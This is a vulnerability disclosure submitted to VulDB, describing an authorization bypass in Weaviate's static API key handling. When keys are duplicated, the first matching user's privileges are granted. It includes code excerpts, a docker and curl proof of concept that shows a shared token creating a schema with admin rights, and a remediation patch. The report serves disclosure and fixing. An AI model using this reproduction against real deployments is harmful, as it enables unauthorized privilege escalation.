Отправить #835080: weaviate 20f14bed78eddac098f84aad97204c0d86ad0c34 Authorization BypassИнформация

Названиеweaviate 20f14bed78eddac098f84aad97204c0d86ad0c34 Authorization Bypass
Описание## Vulnerability Title Authorization Bypass via Hash-Key Confusion in Static API Key Authentication ## Affected Component `usecases/auth/authentication/apikey/client.go` Repository: https://github.com/weaviate/weaviate ## Summary An attacker who obtains a duplicated static API key can be authenticated as a different configured user because Weaviate hashes only the bearer token and uses the first matching hash entry to derive the security principal. If the first duplicate entry belongs to an admin or root user, a token believed to be low privilege can be accepted as a high-privilege principal, negatively impacting deployments that use static API key authentication with adminlist or RBAC authorization. ## Technical Details The vulnerability occurs because static API key authentication computes a SHA-256 hash over only the raw token and uses hash equality to select a configured key position. The selected position is then used to derive the authenticated username. However, configuration validation does not require `allowed_keys` to be unique, so the same token hash can correspond to multiple security principals. **Where the Hash is Computed** `usecases/auth/authentication/apikey/client.go`: ```go func (c *StaticApiKey) parseKeys() { c.weakKeyStorage = make([][sha256.Size]byte, len(c.config.AllowedKeys)) for i, rawKey := range c.config.AllowedKeys { c.weakKeyStorage[i] = sha256.Sum256([]byte(rawKey)) } } ``` **How the Hash is Used** The hash match is used as the security-relevant identity selector. `isTokenAllowed` returns the first matching index, and `ValidateAndExtract` maps that index to a principal username. ```go func (c *StaticApiKey) ValidateAndExtract(token string, scopes []string) (*models.Principal, error) { tokenPos, ok := c.isTokenAllowed(token) if !ok { return nil, fmt.Errorf("invalid api key") } return &models.Principal{ Username: c.getUser(tokenPos), UserType: models.UserTypeInputDb, }, nil } ``` Configuration validation (`validateConfig`) does not reject duplicate keys. Two static API key entries can therefore share the same token hash while differing in the authenticated username and authorization rights. Hash equality does not imply security equivalence because user identity and derived authorization privileges are outside the hashed value. **Conflicting Object Example** ```json { "token": "shared-static-token", "user_id": "user_admin", "authorization": "admin" } ``` ```json { "token": "shared-static-token", "user_id": "user_reader", "authorization": "read-only" } ``` Both entries produce `sha256("shared-static-token")`. They are not security-equivalent because `user_admin` and `user_reader` have different authorization rights, but the system assigns privileges based purely on which entry is parsed first. ## Impact This vulnerability allows attackers to: - Use a duplicated token to authenticate as the first configured matching user rather than the intended lower-privileged user. - Escalate privileges when a duplicated token is configured first for an admin/root user and later for a lower-privileged user. - Bypass authorization expectations in adminlist or RBAC deployments because authorization is based on the selected `Principal.Username`. The attack is configuration-dependent and requires duplicate static API key values to be present in deployment configuration. ## Proof of Concept The PoC proves that the same bearer token reaches different authorization outcomes solely because duplicate static API key entries are ordered differently. **1. Admin-first configuration allows the shared token to create a schema (admin rights):** ```bash docker run --rm -d --name weaviate-admin-first -p 127.0.0.1:18081:8080 \ -e AUTHENTICATION_APIKEY_ENABLED=true \ -e AUTHENTICATION_APIKEY_ALLOWED_KEYS=shared-static-token,shared-static-token \ -e AUTHENTICATION_APIKEY_USERS=user_admin,user_reader \ -e AUTHORIZATION_ADMINLIST_ENABLED=true \ -e AUTHORIZATION_ADMINLIST_USERS=user_admin \ agentscan-weaviate-e2e:449 curl -s -i -X POST [http://127.0.0.1:18081/v1/schema](http://127.0.0.1:18081/v1/schema) \ -H 'Authorization: Bearer shared-static-token' \ -H 'Content-Type: application/json' \ --data-binary '{"class":"AgentScanAdminFirst","vectorizer":"none","properties":[{"name":"marker","dataType":["text"]}]}' ``` *Observed result: HTTP/1.1 200 OK* **2. Reader-first configuration rejects the schema creation using the exact same token:** ```bash docker run --rm -d --name weaviate-reader-first -p 127.0.0.1:18082:8080 \ -e AUTHENTICATION_APIKEY_ENABLED=true \ -e AUTHENTICATION_APIKEY_ALLOWED_KEYS=shared-static-token,shared-static-token \ -e AUTHENTICATION_APIKEY_USERS=user_reader,user_admin \ -e AUTHORIZATION_ADMINLIST_ENABLED=true \ -e AUTHORIZATION_ADMINLIST_USERS=user_admin \ agentscan-weaviate-e2e:449 curl -s -i -X POST [http://127.0.0.1:18082/v1/schema](http://127.0.0.1:18082/v1/schema) \ -H 'Authorization: Bearer shared-static-token' \ -H 'Content-Type: application/json' \ --data-binary '{"class":"AgentScanReaderFirst","vectorizer":"none","properties":[{"name":"marker","dataType":["text"]}]}' ``` *Observed result: HTTP/1.1 403 Forbidden* ## Remediation Reject duplicate static API key values during configuration validation. The immediate fix should be in `usecases/auth/authentication/apikey/client.go` inside `validateConfig`: ```go seen := map[string]struct{}{} for _, key := range c.config.AllowedKeys { if _, ok := seen[key]; ok { return fmt.Errorf("duplicate api key values are not allowed") } seen[key] = struct{}{} } ``` Additional mitigations: 1. Complete Field Coverage: Treat a static API key as a unique credential bound to exactly one configured principal. 2. Operational Validation: Add startup checks and deployment linting for duplicate `AUTHENTICATION_APIKEY_ALLOWED_KEYS` values. 3. Domain Separation: Keep API key identities distinct across static users, DB users, OIDC users, and authorization namespaces. 4. Credential Rotation: Rotate any duplicated static API keys found in existing deployments. ## References - Vulnerable hash storage: `https://github.com/weaviate/weaviate/blob/20f14bed78eddac098f84aad97204c0d86ad0c34/usecases/auth/authentication/apikey/client.go#L42-L47` - Vulnerable token lookup and extraction: `https://github.com/weaviate/weaviate/blob/20f14bed78eddac098f84aad97204c0d86ad0c34/usecases/auth/authentication/apikey/client.go#L82-L111` - Config validation lacking duplicate-key rejection: `https://github.com/weaviate/weaviate/blob/20f14bed78eddac098f84aad97204c0d86ad0c34/usecases/auth/authentication/apikey/client.go#L49-L79` - Adminlist authorization relies on `principal.Username`: `https://github.com/weaviate/weaviate/blob/20f14bed78eddac098f84aad97204c0d86ad0c34/usecases/auth/authorization/adminlist/authorizer.go#L44-L70`
Источник⚠️ https://github.com/weaviate/weaviate/issues/11392
Пользователь
 Dem000 (UID 98389)
Представление21.05.2026 17:33 (19 дни назад)
Модерация07.06.2026 15:32 (17 days later)
Статуспринято
Запись VulDB369120 [Weaviate до 1.37.7 Static API Key client.go validateConfig StaticApiKey эскалация привилегий]
Баллы20

Want to know what is going to be exploited?

We predict KEV entries!